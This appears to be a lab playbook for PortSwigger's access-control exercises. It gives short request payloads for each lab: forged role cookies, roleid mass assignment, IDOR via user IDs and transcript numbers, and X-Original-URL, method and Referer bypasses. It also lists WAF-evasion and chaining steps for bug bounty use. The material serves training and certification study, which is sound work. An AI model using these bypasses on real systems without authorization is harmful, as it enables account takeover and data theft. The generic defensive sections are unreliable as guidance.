Access Control — Complete Deep Dive

Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert

When to Use

• BSCP certification prep
• Real-world bug bounty hunting
• Building exploitation chains
• Understanding bypass techniques

Prerequisites

• Burp Suite Professional
• Burp Collaborator / interactsh
• Browser with proxy configured

Workflow

Phase 1: Reconnaissance

• Identify input vectors, parameters, and application behavior.

Phase 2: Exploitation

• Apply standard lab payloads.

Phase 3: Zero-Day Escalation

• Fuzz filters, bypass WAFs, and chain with other vulns.

Lab Playbooks

Lab 1: Unprotected admin 🟢 APPRENTICE

/robots.txt reveals /administrator-panel. Navigate directly.

Lab 2: Unpredictable URL admin 🟢 APPRENTICE

Check page source/JS for leaked admin URL: adminPanelTag.setAttribute('href', '/admin-abcd1234');

Lab 3: Role via request parameter 🟢 APPRENTICE

Cookie: session=xxx; Admin=true

Change Admin=false to Admin=true or roleid=2.

Lab 4: Role modified in profile 🟢 APPRENTICE

{"email":"a@b.com","roleid":2}

Add roleid to the profile update JSON request (mass assignment).

Lab 5: User ID in request param 🟢 APPRENTICE

GET /my-account?id=carlos HTTP/1.1

---

Lab 6: Unpredictable user IDs 🟡 PRACTITIONER

Find victim's GUID in blog posts/comments, then: /my-account?id=VICTIM-GUID.

Lab 7: Data leakage in redirect 🟡 PRACTITIONER

GET /my-account?id=carlos HTTP/1.1

Response body contains API key BEFORE the 302 redirect fires.

Lab 8: Password disclosure 🟡 PRACTITIONER

/my-account?id=administrator — password visible in masked input field (view source).

Lab 9: IDOR 🟢 APPRENTICE

GET /download-transcript/2.txt HTTP/1.1

Change 1.txt to 2.txt etc to download other users' chat transcripts.

Lab 10: URL-based AC bypass 🟡 PRACTITIONER

GET /?username=carlos HTTP/1.1
X-Original-URL: /admin/delete

Frontend blocks /admin/* but backend processes X-Original-URL header.

Lab 11: Method-based AC bypass 🟡 PRACTITIONER

GET /admin-roles?username=wiener&action=upgrade HTTP/1.1

Change POST to GET — access control only applied to POST method.

Lab 12: Multi-step no AC on one step 🟡 PRACTITIONER

Skip to step 3 (confirmation) directly without going through protected steps 1 and 2.

Lab 13: Referer-based AC 🟡 PRACTITIONER

GET /admin-roles?username=wiener&action=upgrade HTTP/1.1
Referer: https://TARGET/admin

Server only checks Referer contains /admin.

Blue Team Detection

• Monitor access logs for anomalous payloads.
• Implement strict input validation and parameterized queries where applicable.
• Create WAF rules masking generic attack patterns.

Zero-Day Research

When standard technique fails:

1. Identify the filter/WAF
2. Fuzz with Burp Intruder custom wordlists
3. Search GitHub/Twitter for new bypasses
4. Chain with other vulns for escalation
5. Try encoding variants: URL, double-URL, unicode, hex

Key Concepts

Concept	Description
PortSwigger Vectors	Standardized approaches to vulnerability classes.
Payload Encoding	Modifying payloads to bypass basic string matching WAFs.

Output Format

Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]

🔵 Blue Team

• Deploy robust WAF rules to detect anomalies.
• Monitor logs for unusual access patterns.

🛡️ Remediation & Mitigation Strategy

• Input Validation: Sanitize and strictly type-check all inputs.
• Least Privilege: Constrain component execution bounds.

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• PortSwigger Labs
• PayloadsAllTheThings
• HackTricks